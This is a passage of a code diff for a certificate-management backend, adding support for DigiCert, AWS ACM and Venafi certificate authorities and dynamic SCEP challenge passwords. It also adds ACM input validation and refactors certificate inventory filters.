 /**
  * Map of CA types to their corresponding external configuration schemas
  */
@@ -29,6 +44,9 @@ export const ExternalConfigSchemaMap = {
   [CaType.AZURE_AD_CS]: AzureAdCsExternalConfigSchema,
   [CaType.ACME]: AcmeExternalConfigSchema,
   [CaType.AWS_PCA]: AwsPcaExternalConfigSchema,
+  [CaType.DIGICERT]: DigiCertExternalConfigSchema,
+  [CaType.AWS_ACM_PUBLIC_CA]: AwsAcmPublicCaExternalConfigSchema,
+  [CaType.VENAFI_TPP]: VenafiTppExternalConfigSchema,
   [CaType.INTERNAL]: z.object({}).optional() // Internal CAs don't use external configs
 } as const;
 
@@ -49,7 +67,15 @@ export const createExternalConfigSchema = (caType?: CaType | null) => {
  * Union type of all possible external configuration schemas
  */
 export const ExternalConfigUnionSchema = z
-  .union([AzureAdCsExternalConfigSchema, AcmeExternalConfigSchema, AwsPcaExternalConfigSchema, z.object({})])
+  .union([
+    AzureAdCsExternalConfigSchema,
+    AcmeExternalConfigSchema,
+    AwsPcaExternalConfigSchema,
+    DigiCertExternalConfigSchema,
+    AwsAcmPublicCaExternalConfigSchema,
+    VenafiTppExternalConfigSchema,
+    z.object({})
+  ])
   .nullable()
   .optional();
 
diff --git a/backend/src/services/certificate-profile/certificate-profile-service.test.ts b/backend/src/services/certificate-profile/certificate-profile-service.test.ts
index d7739441a10..b9bdd39d651 100644
--- a/backend/src/services/certificate-profile/certificate-profile-service.test.ts
+++ b/backend/src/services/certificate-profile/certificate-profile-service.test.ts
@@ -271,6 +271,7 @@ describe("CertificateProfileService", () => {
       estEnrollmentConfigDAL: mockEstEnrollmentConfigDAL,
       acmeEnrollmentConfigDAL: mockAcmeEnrollmentConfigDAL,
       scepEnrollmentConfigDAL: mockScepEnrollmentConfigDAL,
+      scepDynamicChallengeDAL: { deleteByConfigId: vi.fn() },
       certificateBodyDAL: mockCertificateBodyDAL,
       certificateSecretDAL: mockCertificateSecretDAL,
       certificateAuthorityDAL: mockCertificateAuthorityDAL,
diff --git a/backend/src/services/certificate-profile/certificate-profile-service.ts b/backend/src/services/certificate-profile/certificate-profile-service.ts
index dc392b5c8e5..1a0cf859a48 100644
--- a/backend/src/services/certificate-profile/certificate-profile-service.ts
+++ b/backend/src/services/certificate-profile/certificate-profile-service.ts
@@ -9,6 +9,8 @@ import {
   ProjectPermissionSub
 } from "@app/ee/services/permission/project-permission";
 import { buildUrl } from "@app/ee/services/pki-acme/pki-acme-fns";
+import { ScepChallengeType } from "@app/ee/services/pki-scep/challenge";
+import { TScepDynamicChallengeDALFactory } from "@app/ee/services/pki-scep/pki-scep-dynamic-challenge-dal";
 import { generateRaCertificate } from "@app/ee/services/pki-scep/pki-scep-fns";
 import { getProcessedPermissionRules } from "@app/lib/casl/permission-filter-utils";
 import { extractX509CertFromChain } from "@app/lib/certificates/extract-certificate";
@@ -99,6 +101,20 @@ const validateTemplateByExternalCaType = (
   }
 };
 
+const validateAcmEnrollmentType = async (
+  caId: string | null | undefined,
+  enrollmentType: EnrollmentType,
+  externalCertificateAuthorityDAL: Pick<TExternalCertificateAuthorityDALFactory, "findOne">
+) => {
+  if (!caId) return;
+  const externalCa = await externalCertificateAuthorityDAL.findOne({ caId });
+  if (externalCa?.type === CaType.AWS_ACM_PUBLIC_CA && enrollmentType !== EnrollmentType.API) {
+    throw new ForbiddenRequestError({
+      message: "AWS Certificate Manager only supports API enrollment"
+    });
+  }
+};
+
 const validateExternalConfigs = async (
   externalConfigs: Record<string, unknown> | null | undefined,
   caId: string | null,
@@ -241,6 +257,7 @@ type TCertificateProfileServiceFactoryDep = {
   estEnrollmentConfigDAL: TEstEnrollmentConfigDALFactory;
   acmeEnrollmentConfigDAL: TAcmeEnrollmentConfigDALFactory;
   scepEnrollmentConfigDAL: TScepEnrollmentConfigDALFactory;
+  scepDynamicChallengeDAL: Pick<TScepDynamicChallengeDALFactory, "deleteByConfigId">;
   certificateBodyDAL: Pick<TCertificateBodyDALFactory, "findOne">;
   certificateSecretDAL: Pick<TCertificateSecretDALFactory, "findOne">;
   certificateAuthorityDAL: Pick<TCertificateAuthorityDALFactory, "findById">;
@@ -284,6 +301,7 @@ export const certificateProfileServiceFactory = ({
   estEnrollmentConfigDAL,
   acmeEnrollmentConfigDAL,
   scepEnrollmentConfigDAL,
+  scepDynamicChallengeDAL,
   certificateBodyDAL,
   certificateSecretDAL,
   certificateAuthorityDAL,
@@ -323,11 +341,6 @@ export const certificateProfileServiceFactory = ({
       })
     );
 
-    const project = await projectDAL.findById(projectId);
-    if (!project) {
-      throw new NotFoundError({ message: "Project not found" });
-    }
-
     // Validate that certificate policy exists and belongs to the same project
     if (data.certificatePolicyId) {
       const policy = await certificatePolicyDAL.findById(data.certificatePolicyId);
@@ -351,6 +364,8 @@ export const certificateProfileServiceFactory = ({
 
     validateIssuerTypeConstraints(data.issuerType, data.enrollmentType, data.caId ?? null);
 
+    await validateAcmEnrollmentType(data.caId, data.enrollmentType, externalCertificateAuthorityDAL);
+
     // Validate defaults against policy constraints
     if (data.defaults && data.certificatePolicyId) {
       const policy = await certificatePolicyDAL.findById(data.certificatePolicyId);
@@ -414,9 +429,12 @@ export const certificateProfileServiceFactory = ({
           encryptedRaPrivateKey: Buffer;
           raCertificatePem: string;
           raCertExpiresAt: Date;
-          hashedChallengePassword: string;
+          hashedChallengePassword: string | null;
+          challengeType: string;
           includeCaCertInResponse: boolean;
           allowCertBasedRenewal: boolean;
+          dynamicChallengeExpiryMinutes: number | null;
+          dynamicChallengeMaxPending: number | null;
         }
       | undefined;
 
@@ -433,18 +451,28 @@ export const certificateProfileServiceFactory = ({
         plainText: Buffer.from(raCert.privateKeyDer)
       });
 
-      const appCfg = getConfig();
-      const hashedChallengePassword = await crypto
-        .hashing()
-        .createHash(data.scepConfig.challengePassword, appCfg.SALT_ROUNDS);
+      const challengeType = (data.scepConfig.challengeType as ScepChallengeType) || ScepChallengeType.STATIC;
+      let hashedChallengePassword: string | null = null;
+
+      if (challengeType === ScepChallengeType.STATIC && data.scepConfig.challengePassword) {
+        const appCfg = getConfig();
+        hashedChallengePassword = await crypto
+          .hashing()
+          .createHash(data.scepConfig.challengePassword, appCfg.SALT_ROUNDS);
+      }
 
       precomputedScepConfig = {
         encryptedRaPrivateKey,
         raCertificatePem: raCert.certificatePem,
         raCertExpiresAt: raCert.expiresAt,
         hashedChallengePassword,
+        challengeType,
         includeCaCertInResponse: data.scepConfig.includeCaCertInResponse ?? true,
-        allowCertBasedRenewal: data.scepConfig.allowCertBasedRenewal ?? true
+        allowCertBasedRenewal: data.scepConfig.allowCertBasedRenewal ?? true,
+        dynamicChallengeExpiryMinutes:
+          challengeType === ScepChallengeType.DYNAMIC ? (data.scepConfig.dynamicChallengeExpiryMinutes ?? 60) : null,
+        dynamicChallengeMaxPending:
+          challengeType === ScepChallengeType.DYNAMIC ? (data.scepConfig.dynamicChallengeMaxPending ?? 100) : null
       };
     }
 
@@ -507,8 +535,11 @@ export const certificateProfileServiceFactory = ({
             raCertificate: precomputedScepConfig.raCertificatePem,
             raCertExpiresAt: precomputedScepConfig.raCertExpiresAt,
             hashedChallengePassword: precomputedScepConfig.hashedChallengePassword,
+            challengeType: precomputedScepConfig.challengeType,
             includeCaCertInResponse: precomputedScepConfig.includeCaCertInResponse,
-            allowCertBasedRenewal: precomputedScepConfig.allowCertBasedRenewal
+            allowCertBasedRenewal: precomputedScepConfig.allowCertBasedRenewal,
+            dynamicChallengeExpiryMinutes: precomputedScepConfig.dynamicChallengeExpiryMinutes,
+            dynamicChallengeMaxPending: precomputedScepConfig.dynamicChallengeMaxPending
           },
           tx
         );
@@ -601,6 +632,8 @@ export const certificateProfileServiceFactory = ({
 
     validateIssuerTypeConstraints(finalIssuerType, finalEnrollmentType, finalCaId ?? null, existingProfile.caId);
 
+    await validateAcmEnrollmentType(finalCaId, finalEnrollmentType, externalCertificateAuthorityDAL);
+
     // Validate external configs only if they are provided in the update
     if (data.externalConfigs !== undefined) {
       await validateExternalConfigs(
@@ -710,13 +743,38 @@ export const certificateProfileServiceFactory = ({
       }
 
       if (scepConfig && existingProfile.scepConfigId) {
+        const existingScepConfig = await scepEnrollmentConfigDAL.findById(existingProfile.scepConfigId, tx);
+
         const scepUpdateData: {
-          hashedChallengePassword?: string;
+          hashedChallengePassword?: string | null;
+          challengeType?: string;
           includeCaCertInResponse?: boolean;
           allowCertBasedRenewal?: boolean;
+          dynamicChallengeExpiryMinutes?: number | null;
+          dynamicChallengeMaxPending?: number | null;
         } = {};
 
-        if (scepConfig.challengePassword) {
+        if (scepConfig.challengeType !== undefined) {
+          scepUpdateData.challengeType = scepConfig.challengeType;
+          if (scepConfig.challengeType === ScepChallengeType.DYNAMIC) {
+            scepUpdateData.hashedChallengePassword = null;
+            scepUpdateData.dynamicChallengeExpiryMinutes = scepConfig.dynamicChallengeExpiryMinutes ?? 60;
+            scepUpdateData.dynamicChallengeMaxPending = scepConfig.dynamicChallengeMaxPending ?? 100;
+          }
+          if (scepConfig.challengeType === ScepChallengeType.STATIC) {
+            // Require password when switching from dynamic to static
+            const isSwitchingFromDynamic = existingScepConfig?.challengeType === ScepChallengeType.DYNAMIC;
+            if (isSwitchingFromDynamic && !scepConfig.challengePassword) {
+              throw new BadRequestError({
+                message: "Switching to static challenge type requires providing a challenge password"
+              });
+            }
+            await scepDynamicChallengeDAL.deleteByConfigId(existingProfile.scepConfigId, tx);
+            scepUpdateData.dynamicChallengeExpiryMinutes = null;
+            scepUpdateData.dynamicChallengeMaxPending = null;
+          }
+        }
+        if (scepConfig.challengePassword && scepUpdateData.challengeType !== ScepChallengeType.DYNAMIC) {
           scepUpdateData.hashedChallengePassword = await crypto
             .hashing()
             .createHash(scepConfig.challengePassword, getConfig().SALT_ROUNDS);
@@ -727,6 +785,12 @@ export const certificateProfileServiceFactory = ({
         if (scepConfig.allowCertBasedRenewal !== undefined) {
           scepUpdateData.allowCertBasedRenewal = scepConfig.allowCertBasedRenewal;
         }
+        if (scepUpdateData.challengeType === undefined && scepConfig.dynamicChallengeExpiryMinutes !== undefined) {
+          scepUpdateData.dynamicChallengeExpiryMinutes = scepConfig.dynamicChallengeExpiryMinutes;
+        }
+        if (scepUpdateData.challengeType === undefined && scepConfig.dynamicChallengeMaxPending !== undefined) {
+          scepUpdateData.dynamicChallengeMaxPending = scepConfig.dynamicChallengeMaxPending;
+        }
         if (Object.keys(scepUpdateData).length > 0) {
           await scepEnrollmentConfigDAL.updateById(existingProfile.scepConfigId, scepUpdateData, tx);
         }
@@ -839,6 +903,12 @@ export const certificateProfileServiceFactory = ({
       const appCfg = getConfig();
       const siteUrl = appCfg.SITE_URL ?? "";
       profile.scepConfig.scepEndpointUrl = `${siteUrl}/scep/${profile.id}/pkiclient.exe`;
+      if (profile.scepConfig.challengeType === ScepChallengeType.DYNAMIC) {
+        profile.scepConfig.challengeEndpointUrl = `${siteUrl}/scep/${profile.id}/challenge`;
+      } else {
+        delete profile.scepConfig.dynamicChallengeExpiryMinutes;
+        delete profile.scepConfig.dynamicChallengeMaxPending;
+      }
     }
 
     // Parse externalConfigs from JSON string to object if it exists
@@ -1017,7 +1087,16 @@ export const certificateProfileServiceFactory = ({
             ? { ...profileWithConfigs.acmeConfig, directoryUrl: buildUrl(profile.id, "/directory") }
             : undefined,
           scepConfig: profileWithConfigs.scepConfig
-            ? { ...profileWithConfigs.scepConfig, scepEndpointUrl: `${siteUrl}/scep/${profile.id}/pkiclient.exe` }
+            ? {
+                ...profileWithConfigs.scepConfig,
+                scepEndpointUrl: `${siteUrl}/scep/${profile.id}/pkiclient.exe`,
+                ...(profileWithConfigs.scepConfig.challengeType === ScepChallengeType.DYNAMIC
+                  ? { challengeEndpointUrl: `${siteUrl}/scep/${profile.id}/challenge` }
+                  : {
+                      dynamicChallengeExpiryMinutes: undefined,
+                      dynamicChallengeMaxPending: undefined
+                    })
+              }
             : undefined
         };
 
diff --git a/backend/src/services/certificate-profile/certificate-profile-types.ts b/backend/src/services/certificate-profile/certificate-profile-types.ts
index 5d38505e466..213750fc0fb 100644
--- a/backend/src/services/certificate-profile/certificate-profile-types.ts
+++ b/backend/src/services/certificate-profile/certificate-profile-types.ts
@@ -80,9 +80,12 @@ export type TCertificateProfileUpdate = Omit<
     skipEabBinding?: boolean;
   };
   scepConfig?: {
+    challengeType?: string;
     challengePassword?: string;
     includeCaCertInResponse?: boolean;
     allowCertBasedRenewal?: boolean;
+    dynamicChallengeExpiryMinutes?: number;
+    dynamicChallengeMaxPending?: number;
   };
 };
 
@@ -130,6 +133,10 @@ export type TCertificateProfileWithConfigs = TCertificateProfile & {
     raCertExpiresAt: Date;
     includeCaCertInResponse: boolean;
     allowCertBasedRenewal: boolean;
+    challengeType: string;
+    challengeEndpointUrl?: string;
+    dynamicChallengeExpiryMinutes?: number;
+    dynamicChallengeMaxPending?: number;
   };
 };
 
diff --git a/backend/src/services/certificate-request/certificate-request-dal.ts b/backend/src/services/certificate-request/certificate-request-dal.ts
index 2ed557a39ba..6694e123114 100644
--- a/backend/src/services/certificate-request/certificate-request-dal.ts
+++ b/backend/src/services/certificate-request/certificate-request-dal.ts
@@ -9,6 +9,7 @@ import {
   applyProcessedPermissionRulesToQuery,
   type ProcessedPermissionRules
 } from "@app/lib/knex/permission-filter-utils";
+import { CaStatus } from "@app/services/certificate-authority/certificate-authority-enums";
 import { applyMetadataFilter } from "@app/services/resource-metadata/resource-metadata-fns";
 
 import { CertificateRequestStatus } from "./certificate-request-types";
@@ -393,10 +394,44 @@ export const certificateRequestDALFactory = (db: TDbClient) => {
     }
   };
 
+  const findPendingValidationByCaType = async (
+    caType: string,
+    options: { limit?: number; afterCreatedAt?: Date } = {}
+  ): Promise<TCertificateRequests[]> => {
+    try {
+      const query = db(TableName.CertificateRequests)
+        .join(
+          TableName.CertificateAuthority,
+          `${TableName.CertificateRequests}.caId`,
+          `${TableName.CertificateAuthority}.id`
+        )
+        .join(
+          TableName.ExternalCertificateAuthority,
+          `${TableName.CertificateAuthority}.id`,
+          `${TableName.ExternalCertificateAuthority}.caId`
+        )
+        .where(`${TableName.CertificateRequests}.status`, CertificateRequestStatus.PENDING_VALIDATION)
+        .where(`${TableName.ExternalCertificateAuthority}.type`, caType)
+        .where(`${TableName.CertificateAuthority}.status`, CaStatus.ACTIVE)
+        .select(selectAllTableCols(TableName.CertificateRequests))
+        .orderBy(`${TableName.CertificateRequests}.createdAt`, "asc");
+
+      if (options.afterCreatedAt) {
+        void query.where(`${TableName.CertificateRequests}.createdAt`, ">", options.afterCreatedAt);
+      }
+      if (options.limit) void query.limit(options.limit);
+
+      return (await query) as TCertificateRequests[];
+    } catch (error) {
+      throw new DatabaseError({ error, name: "Find pending validation certificate requests by CA type" });
+    }
+  };
+
   return {
     ...certificateRequestOrm,
     findByIdWithCertificate,
     findPendingByProjectId,
+    findPendingValidationByCaType,
     updateStatus,
     attachCertificate,
     findByProjectId,
diff --git a/backend/src/services/certificate-request/certificate-request-service.test.ts b/backend/src/services/certificate-request/certificate-request-service.test.ts
index 37a922475e5..96c19af49ea 100644
--- a/backend/src/services/certificate-request/certificate-request-service.test.ts
+++ b/backend/src/services/certificate-request/certificate-request-service.test.ts
@@ -57,7 +57,7 @@ describe("CertificateRequestService", () => {
       certificateDAL: mockCertificateDAL,
       certificateService: mockCertificateService,
       permissionService: mockPermissionService,
-      resourceMetadataDAL: { find: vi.fn().mockResolvedValue([]) }
+      resourceMetadataDAL: { find: vi.fn().mockResolvedValue([]), insertMany: vi.fn() }
     });
   });
 
diff --git a/backend/src/services/certificate-request/certificate-request-service.ts b/backend/src/services/certificate-request/certificate-request-service.ts
index cbf12187af0..7b8c892dd83 100644
--- a/backend/src/services/certificate-request/certificate-request-service.ts
+++ b/backend/src/services/certificate-request/certificate-request-service.ts
@@ -32,7 +32,7 @@ type TCertificateRequestServiceFactoryDep = {
   certificateDAL: Pick<TCertificateDALFactory, "findById">;
   certificateService: Pick<TCertificateServiceFactory, "getCertBody" | "getCertPrivateKey">;
   permissionService: Pick<TPermissionServiceFactory, "getProjectPermission">;
-  resourceMetadataDAL: Pick<TResourceMetadataDALFactory, "find">;
+  resourceMetadataDAL: Pick<TResourceMetadataDALFactory, "find" | "insertMany">;
 };
 
 export type TCertificateRequestServiceFactory = ReturnType<typeof certificateRequestServiceFactory>;
@@ -433,10 +433,12 @@ export const certificateRequestServiceFactory = ({
       certificateRequestDAL.countByProjectId(projectId, options, processedRules)
     ]);
 
-    const mappedCertificateRequests = certificateRequests.map((request) => ({
-      ...request,
-      status: request.status as CertificateRequestStatus
-    }));
+    const mappedCertificateRequests = certificateRequests.map(
+      ({ encryptedPrivateKey: _encryptedPrivateKey, ...request }) => ({
+        ...request,
+        status: request.status as CertificateRequestStatus
+      })
+    );
 
     return {
       certificateRequests: mappedCertificateRequests,
diff --git a/backend/src/services/certificate-v3/certificate-approval-fns.ts b/backend/src/services/certificate-v3/certificate-approval-fns.ts
index ef1139dc526..36f07812fab 100644
--- a/backend/src/services/certificate-v3/certificate-approval-fns.ts
+++ b/backend/src/services/certificate-v3/certificate-approval-fns.ts
@@ -14,6 +14,7 @@ import { TCertificateBodyDALFactory } from "@app/services/certificate/certificat
 import { TCertificateDALFactory } from "@app/services/certificate/certificate-dal";
 import { TCertificateSecretDALFactory } from "@app/services/certificate/certificate-secret-dal";
 import { CertKeyAlgorithm, CertSignatureAlgorithm, CertStatus } from "@app/services/certificate/certificate-types";
+import { validateAcmIssuanceInputs } from "@app/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-fns";
 import { TCertificateAuthorityDALFactory } from "@app/services/certificate-authority/certificate-authority-dal";
 import { CaType } from "@app/services/certificate-authority/certificate-authority-enums";
 import { TCertificateIssuanceQueueFactory } from "@app/services/certificate-authority/certificate-issuance-queue";
@@ -438,16 +439,39 @@ export const certificateApprovalServiceFactory = (
 
     const caType = (targetCa.externalCa?.type as CaType) ?? CaType.INTERNAL;
 
-    if (caType !== CaType.ACME && caType !== CaType.AZURE_AD_CS && caType !== CaType.AWS_PCA) {
+    if (
+      caType !== CaType.ACME &&
+      caType !== CaType.AZURE_AD_CS &&
+      caType !== CaType.AWS_PCA &&
+      caType !== CaType.AWS_ACM_PUBLIC_CA &&
+      caType !== CaType.VENAFI_TPP
+    ) {
       return null;
     }
 
+    // Pre-flight validation for ACM — fail the approval synchronously rather than
+    // letting the job produce a FAILED request row after the approver already accepted.
+    if (caType === CaType.AWS_ACM_PUBLIC_CA) {
+      validateAcmIssuanceInputs({
+        csr: certRequest.csr || undefined,
+        keyAlgorithm: certRequest.keyAlgorithm || undefined,
+        altNames: altNames ?? undefined,
+        ttl,
+        organization: certRequest.organization || undefined,
+        organizationalUnit: certRequest.organizationalUnit || undefined,
+        country: certRequest.country || undefined,
+        state: certRequest.state || undefined,
+        locality: certRequest.locality || undefined
+      });
+    }
+
     const orderId = randomUUID();
 
     await certificateIssuanceQueue.queueCertificateIssuance({
       certificateId: orderId,
       profileId: profile.id,
       caId: profile.caId || "",
+      caType,
       ttl: ttl || "1y",
       signatureAlgorithm: certRequest.signatureAlgorithm || "",
       keyAlgorithm: certRequest.keyAlgorithm || "",
diff --git a/backend/src/services/certificate-v3/certificate-v3-service.test.ts b/backend/src/services/certificate-v3/certificate-v3-service.test.ts
index 9762672b13a..8f9bcec0dda 100644
--- a/backend/src/services/certificate-v3/certificate-v3-service.test.ts
+++ b/backend/src/services/certificate-v3/certificate-v3-service.test.ts
@@ -2251,6 +2251,51 @@ describe("CertificateV3Service", () => {
       ).rejects.toThrow("Certificate is not eligible for auto-renewal: certificate has already been renewed");
     });
 
+    it("should reject update with accurate enrollment type when profile is ACME", async () => {
+      const mockCert = {
+        id: "cert-123",
+        profileId: "profile-123",
+        renewedByCertificateId: null,
+        notBefore: new Date(),
+        notAfter: new Date(Date.now() + 1000 * 60 * 60 * 24 * 30),
+        projectId: "project-123",
+        status: CertStatus.ACTIVE,
+        revokedAt: null
+      };
+
+      const mockProfile = {
+        id: "profile-123",
+        enrollmentType: EnrollmentType.ACME,
+        issuerType: IssuerType.CA,
+        projectId: "project-123"
+      };
+
+      vi.mocked(mockCertificateDAL.findById).mockResolvedValue(mockCert as any);
+      vi.mocked(mockCertificateProfileDAL.findByIdWithConfigs).mockResolvedValue(mockProfile as any);
+
+      await expect(
+        service.updateRenewalConfig({
+          actor: ActorType.USER,
+          actorId: "user-123",
+          actorAuthMethod: AuthMethod.EMAIL,
+          actorOrgId: "org-123",
+          certificateId: "cert-123",
+          renewBeforeDays: 7
+        })
+      ).rejects.toThrow(ForbiddenRequestError);
+
+      await expect(
+        service.updateRenewalConfig({
+          actor: ActorType.USER,
+          actorId: "user-123",
+          actorAuthMethod: AuthMethod.EMAIL,
+          actorOrgId: "org-123",
+          certificateId: "cert-123",
+          renewBeforeDays: 7
+        })
+      ).rejects.toThrow("Certificate is not eligible for auto-renewal: ACME certificates cannot be auto-renewed");
+    });
+
     it("should reject update if renewBeforeDays >= certificate TTL", async () => {
       const mockCert = {
         id: "cert-123",
diff --git a/backend/src/services/certificate-v3/certificate-v3-service.ts b/backend/src/services/certificate-v3/certificate-v3-service.ts
index 81e2731891c..773ccdf6156 100644
--- a/backend/src/services/certificate-v3/certificate-v3-service.ts
+++ b/backend/src/services/certificate-v3/certificate-v3-service.ts
@@ -34,6 +34,7 @@ import {
   CertSignatureAlgorithm,
   CertStatus
 } from "@app/services/certificate/certificate-types";
+import { validateAcmIssuanceInputs } from "@app/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-fns";
 import {
   TCertificateAuthorityDALFactory,
   TCertificateAuthorityWithAssociatedCa
@@ -276,7 +277,13 @@ const validateRenewalEligibility = (
 
   const caType = (ca.externalCa?.type as CaType) ?? CaType.INTERNAL;
   const isInternalCa = caType === CaType.INTERNAL;
-  const isConnectedExternalCa = caType === CaType.ACME || caType === CaType.AZURE_AD_CS || caType === CaType.AWS_PCA;
+  const isConnectedExternalCa =
+    caType === CaType.ACME ||
+    caType === CaType.AZURE_AD_CS ||
+    caType === CaType.AWS_PCA ||
+    caType === CaType.AWS_ACM_PUBLIC_CA ||
+    caType === CaType.DIGICERT ||
+    caType === CaType.VENAFI_TPP;
   const isImportedCertificate = certificate.pkiSubscriberId != null && !certificate.profileId;
 
   if (!isInternalCa && !isConnectedExternalCa) {
@@ -1709,6 +1716,28 @@ export const certificateV3ServiceFactory = ({
       });
     }
 
+    // ACM pre-flight validation runs before the approval branch so bad inputs (e.g., a TTL that
+    // isn't ACM's fixed 198 days) are rejected at submit time rather than after the approver has
+    // already approved a request that's guaranteed to fail downstream.
+    if (profile.caId) {
+      const preflightCa = await certificateAuthorityDAL.findByIdWithAssociatedCa(profile.caId);
+      if (preflightCa?.externalCa?.type === CaType.AWS_ACM_PUBLIC_CA) {
+        validateAcmIssuanceInputs({
+          csr: certificateOrder.csr,
+          keyAlgorithm: certificateOrder.keyAlgorithm,
+          altNames: certificateOrder.altNames,
+          ttl: certificateOrder.validity?.ttl,
+          notBefore: certificateOrder.notBefore,
+          notAfter: certificateOrder.notAfter,
+          organization: certificateRequest.organization,
+          organizationalUnit: certificateRequest.organizationalUnit,
+          country: certificateRequest.country,
+          state: certificateRequest.state,
+          locality: certificateRequest.locality
+        });
+      }
+    }
+
     const orderApprovalFactory = APPROVAL_POLICY_FACTORY_MAP[ApprovalPolicyType.CertRequest](
       ApprovalPolicyType.CertRequest
     );
@@ -1853,7 +1882,32 @@ export const certificateV3ServiceFactory = ({
       });
     }
 
-    if (caType === CaType.ACME || caType === CaType.AZURE_AD_CS || caType === CaType.AWS_PCA) {
+    if (
+      caType === CaType.ACME ||
+      caType === CaType.AZURE_AD_CS ||
+      caType === CaType.AWS_PCA ||
+      caType === CaType.DIGICERT ||
+      caType === CaType.AWS_ACM_PUBLIC_CA ||
+      caType === CaType.VENAFI_TPP
+    ) {
+      // Pre-flight validation for ACM — reject bad inputs synchronously so the user
+      // gets a 400 on submit rather than a FAILED request row after the job runs.
+      if (caType === CaType.AWS_ACM_PUBLIC_CA) {
+        validateAcmIssuanceInputs({
+          csr: certificateOrder.csr,
+          keyAlgorithm: certificateOrder.keyAlgorithm,
+          altNames: certificateOrder.altNames,
+          ttl: certificateOrder.validity?.ttl,
+          notBefore: certificateOrder.notBefore,
+          notAfter: certificateOrder.notAfter,
+          organization: certificateRequest.organization,
+          organizationalUnit: certificateRequest.organizationalUnit,
+          country: certificateRequest.country,
+          state: certificateRequest.state,
+          locality: certificateRequest.locality
+        });
+      }
+
       const orderId = randomUUID();
 
       const certRequest = await certificateRequestService.createCertificateRequest({
@@ -1895,6 +1949,7 @@ export const certificateV3ServiceFactory = ({
         certificateId: orderId,
         profileId: profile.id,
         caId: profile.caId || "",
+        caType,
         ttl: certificateOrder.validity?.ttl || "1y",
         signatureAlgorithm: certificateOrder.signatureAlgorithm || "",
         keyAlgorithm: certificateRequest.keyAlgorithm || "",
@@ -2181,7 +2236,14 @@ export const certificateV3ServiceFactory = ({
             throw new NotFoundError({ message: "Certificate was signed but could not be found in database" });
           }
           newCert = foundCert;
-        } else if (caType === CaType.ACME || caType === CaType.AZURE_AD_CS || caType === CaType.AWS_PCA) {
+        } else if (
+          caType === CaType.ACME ||
+          caType === CaType.AZURE_AD_CS ||
+          caType === CaType.AWS_PCA ||
+          caType === CaType.DIGICERT ||
+          caType === CaType.AWS_ACM_PUBLIC_CA ||
+          caType === CaType.VENAFI_TPP
+        ) {
           // External CA renewal - mark for async processing outside transaction
           return {
             isExternalCA: true,
@@ -2361,6 +2423,7 @@ export const certificateV3ServiceFactory = ({
         certificateId: renewalOrderId,
         profileId: profile?.id || "",
         caId: ca.id,
+        caType: (ca.externalCa?.type as CaType) ?? CaType.INTERNAL,
         commonName: originalCert.commonName || "",
         altNames: structuredAltNames,
         ttl,
@@ -2480,7 +2543,7 @@ export const certificateV3ServiceFactory = ({
 
     if (profile.enrollmentType !== EnrollmentType.API) {
       throw new ForbiddenRequestError({
-        message: "Certificate is not eligible for auto-renewal: EST certificates cannot be auto-renewed"
+        message: `Certificate is not eligible for auto-renewal: ${profile.enrollmentType.toUpperCase()} certificates cannot be auto-renewed`
       });
     }
 
@@ -2597,7 +2660,7 @@ export const certificateV3ServiceFactory = ({
 
     if (profile.enrollmentType !== EnrollmentType.API) {
       throw new ForbiddenRequestError({
-        message: "Certificate is not eligible for auto-renewal: EST certificates cannot be auto-renewed"
+        message: `Certificate is not eligible for auto-renewal: ${profile.enrollmentType.toUpperCase()} certificates cannot be auto-renewed`
       });
     }
 
diff --git a/backend/src/services/certificate/certificate-dal.ts b/backend/src/services/certificate/certificate-dal.ts
index 7e0c2a35282..207ff832e1e 100644
--- a/backend/src/services/certificate/certificate-dal.ts
+++ b/backend/src/services/certificate/certificate-dal.ts
@@ -12,7 +12,24 @@ import {
 import { isUuidV4 } from "@app/lib/validator";
 import { applyMetadataFilter } from "@app/services/resource-metadata/resource-metadata-fns";
 
-import { CertStatus } from "./certificate-types";
+import { keySizeToAlgorithms } from "./certificate-fns";
+import { CertKeyAlgorithm, CertStatus } from "./certificate-types";
+
+// Scoped to UI-surfaced algorithms; intentionally narrower than pqc-utils.PQC_ALGORITHMS.
+export const PQC_KEY_ALGORITHMS: string[] = [
+  CertKeyAlgorithm.ML_DSA_44,
+  CertKeyAlgorithm.ML_DSA_65,
+  CertKeyAlgorithm.ML_DSA_87
+];
+
+export const NON_PQC_KEY_ALGORITHMS: string[] = [
+  CertKeyAlgorithm.RSA_2048,
+  CertKeyAlgorithm.RSA_3072,
+  CertKeyAlgorithm.RSA_4096,
+  CertKeyAlgorithm.ECDSA_P256,
+  CertKeyAlgorithm.ECDSA_P384,
+  CertKeyAlgorithm.ECDSA_P521
+];
 
 export type TCertificateDALFactory = ReturnType<typeof certificateDALFactory>;
 
@@ -48,19 +65,7 @@ export const certificateDALFactory = (db: TDbClient) => {
     }
   };
 
-  const countCertificatesInProject = async ({
-    projectId,
-    friendlyName,
-    commonName,
-    search,
-    status,
-    profileIds,
-    fromDate,
-    toDate,
-    metadataFilter,
-    extendedKeyUsage
-  }: {
-    projectId: string;
+  type TInventoryFilterParams = {
     friendlyName?: string;
     commonName?: string;
     search?: string;
@@ -70,91 +75,189 @@ export const certificateDALFactory = (db: TDbClient) => {
     toDate?: Date;
     metadataFilter?: Array<{ key: string; value?: string }>;
     extendedKeyUsage?: string;
-  }) => {
-    try {
-      interface CountResult {
-        count: string;
-      }
+    keyAlgorithm?: string | string[];
+    signatureAlgorithm?: string;
+    keySizes?: number[];
+    caIds?: string[];
+    enrollmentTypes?: string[];
+    source?: string | string[];
+    notAfterFrom?: Date;
+    notAfterTo?: Date;
+    notBeforeFrom?: Date;
+    notBeforeTo?: Date;
+  };
 
-      let query = db
-        .replicaNode()(TableName.Certificate)
-        .join(TableName.CertificateAuthority, `${TableName.Certificate}.caId`, `${TableName.CertificateAuthority}.id`)
-        .join(TableName.Project, `${TableName.CertificateAuthority}.projectId`, `${TableName.Project}.id`)
-        .where(`${TableName.Project}.id`, projectId);
+  const applyInventoryFilters = (
+    query: Knex.QueryBuilder,
+    filters: TInventoryFilterParams,
+    hasProfileJoin: boolean
+  ): Knex.QueryBuilder => {
+    let q = query;
 
-      if (friendlyName) {
-        const sanitizedValue = sanitizeSqlLikeString(friendlyName);
-        query = query.andWhere(`${TableName.Certificate}.friendlyName`, "like", `%${sanitizedValue}%`);
-      }
+    if (filters.friendlyName) {
+      const sanitizedValue = sanitizeSqlLikeString(filters.friendlyName);
+      q = q.andWhere(`${TableName.Certificate}.friendlyName`, "like", `%${sanitizedValue}%`);
+    }
 
-      if (commonName) {
